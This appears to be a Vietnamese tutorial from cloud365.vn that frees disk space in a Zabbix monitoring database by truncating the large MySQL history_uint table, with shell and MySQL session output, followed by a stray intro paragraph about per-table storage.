<p>Một số bảng có giá trị mà ta không cần đến nó nữa. Ta có thế xóa nó đi để giảm bớt dung lượng</p>
<p>Ta có thể thấy những bảng có kích thước lớn.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code># ls -lhtrS /var/lib/mysql/zabbix | tail
...
-rw-rw---- 1 mysql mysql 192M Aug 15 14:01 events.ibd
-rw-rw---- 1 mysql mysql 288M Aug 15 14:01 trends.ibd
-rw-rw---- 1 mysql mysql 660M Aug 15 14:01 trends_uint.ibd
-rw-rw---- 1 mysql mysql 1.1G Aug 15 14:01 history.ibd
-rw-rw---- 1 mysql mysql 14G Aug 15 13:53 history_uint.ibd
</code></pre></div></div>
<p>Ta có thể thấy bảng <code class="highlighter-rouge">history_uint.ibd</code> có kích thước rất lớn. Bảng này lưu trữ tất cả các metric đẩy về từ các zabbix agent. Nên khi không có nhu cầu ta có thể xóa nó để lấy những metric mới hơn. Để làm việc này ta thực hiện như sau:</p>
<p>Login vào MySQL với user là <code class="highlighter-rouge">zabbix</code> và switch tới database <code class="highlighter-rouge">zabbix</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[root@grafana ~]# mysql -u zabbix -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 26
Server version: 5.6.44-log MySQL Community Server (GPL)
Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use zabbix;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql>
</code></pre></div></div>
<p>Đếm số record trong bảng <code class="highlighter-rouge">history_uint</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql> select count(itemid) from history_uint;
+---------------+
| count(itemid) |
+---------------+
| 177487167 |
+---------------+
1 row in set (1 min 14.37 sec)
</code></pre></div></div>
<p>Xóa các record trong bảng <code class="highlighter-rouge">history_uint</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql> truncate table history_uint;
Query OK, 0 rows affected (0.38 sec)
</code></pre></div></div>
<p>Xem lại số bản ghi trong bảng <code class="highlighter-rouge">history_unit</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql> select count(itemid) from history_uint;
+---------------+
| count(itemid) |
+---------------+
| 107 |
+---------------+
1 row in set (0.00 sec)
</code></pre></div></div>
<p>Ta có thể xem lại các bảng có kích thước lớn. Lúc này không thấy bảng <code class="highlighter-rouge">history_unit</code></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code># ls -lhtrS /var/lib/mysql/zabbix | tail
...
-rw-rw---- 1 mysql mysql 192M Aug 15 14:01 events.ibd
-rw-rw---- 1 mysql mysql 288M Aug 15 14:01 trends.ibd
-rw-rw---- 1 mysql mysql 660M Aug 15 14:01 trends_uint.ibd
-rw-rw---- 1 mysql mysql 1.1G Aug 15 14:01 history.ibd
</code></pre></div></div>
<p><strong>Tài liệu tham khảo</strong></p>
<p>https://medium.com/@chusiang/change-the-mysql-innodb-tablespaces-to-file-per-table-for-zabbix-3-2-6-on-centos-7-dd86ab3179a4</p>
<p>Thực hiện bởi <a href="https://cloud365.vn/" target="_blank">cloud365.vn</a></p>niemdtKhi bạn sử dụng zabbix để giám sát một hệ thống lớn lúc này DB zabbix của bạn sẽ rất lớn. Thông thường khi bạn sử dụng MySQL để lưu DB trong zabbix thì DB này sẽ được lưu thành một file. Như vậy theo thời gian dung lượng của file này sẽ rất lớn. Ta có thể dễ dàng nhận ra rằng việc đọc dữ liệu ở một file lớn sẽ mất nhiều thời gian hơn việc đọc dữ liệu từ những file có dung lượng nhỏ hơn. Trong bài viết này tôi sẽ chỉ ra cách để chuyển DB được lưu tất cả trong một file thành nhiều file nhỏ mà mỗi table sẽ được lưu thành một file.